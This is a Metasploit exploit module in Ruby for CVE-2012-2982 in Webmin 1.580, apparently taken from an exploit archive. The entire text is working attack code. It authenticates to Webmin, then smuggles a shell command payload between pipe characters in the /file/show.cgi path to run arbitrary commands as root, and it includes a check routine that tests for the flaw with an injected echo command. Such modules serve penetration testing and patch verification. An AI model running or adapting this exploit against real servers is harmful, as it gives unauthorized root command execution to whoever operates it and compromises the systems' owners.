Webmin 1.580 - /file/show.cgi Remote Command Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Webmin /file/show.cgi Remote Command Execution',
            'Description'    => %q{
                    This module exploits an arbitrary command execution vulnerability in Webmin
                1.580. The vulnerability exists in the /file/show.cgi component and allows an
                authenticated user, with access to the File Manager Module, to execute arbitrary
                commands with root privileges. The module has been tested successfully with Webim
                1.580 over Ubuntu 10.04.
            },
            'Author'         => [
                'Unknown', # From American Information Security Group
                'juan vazquez' # Metasploit module
            ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    ['OSVDB', '85248'],
                    ['BID', '55446'],
                    ['CVE', '2012-2982'],
                    ['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],
                    ['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']
                ],
            'Privileged'     => true,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 512,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl bash telnet',
                        }
                },
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Targets'        => [[ 'Webim 1.580', { }]],
            'DisclosureDate' => 'Sep 06 2012',
            'DefaultTarget'  => 0))

            register_options(
                [
                    Opt::RPORT(10000),
                    OptBool.new('SSL', [true, 'Use SSL', true]),
                    OptString.new('USERNAME',  [true, 'Webmin Username']),
                    OptString.new('PASSWORD',  [true, 'Webmin Password'])
                ], self.class)
    end

    def check

        peer = "#{rhost}:#{rport}"

        print_status("#{peer} - Attempting to login...")

        data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

        res = send_request_cgi(
            {
                'method'  => 'POST',
                'uri'     => "/session_login.cgi",
                'cookie'  => "testing=1",
                'data'    => data
            }, 25)

        if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
            print_good "#{peer} - Authentication successful"
            session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
        else
            print_error "#{peer} - Authentication failed"
            return Exploit::CheckCode::Unknown
        end

        print_status("#{peer} - Attempting to execute...")

        command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"

        res = send_request_cgi(
            {
                'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
                'cookie'  => "sid=#{session}"
            }, 25)


        if res and res.code == 200 and res.message =~ /Document follows/
            return Exploit::CheckCode::Appears
        else
            return Exploit::CheckCode::Safe
        end

    end

    def exploit

        peer = "#{rhost}:#{rport}"

        print_status("#{peer} - Attempting to login...")

        data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

        res = send_request_cgi(
            {
                'method'  => 'POST',
                'uri'     => "/session_login.cgi",
                'cookie'  => "testing=1",
                'data'    => data
            }, 25)

        if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
            session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
            if session and not session.empty?
                print_good "#{peer} - Authentication successfully"
            else
                print_error "#{peer} - Authentication failed"
                return
            end
            print_good "#{peer} - Authentication successfully"
        else
            print_error "#{peer} - Authentication failed"
            return
        end

        print_status("#{peer} - Attempting to execute the payload...")

        command = payload.encoded

        res = send_request_cgi(
            {
                'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
                'cookie'  => "sid=#{session}"
            }, 25)


        if res and res.code == 200 and res.message =~ /Document follows/
            print_good "#{peer} - Payload executed successfully"
        else
            print_error "#{peer} - Error executing the payload"
            return
        end

    end

end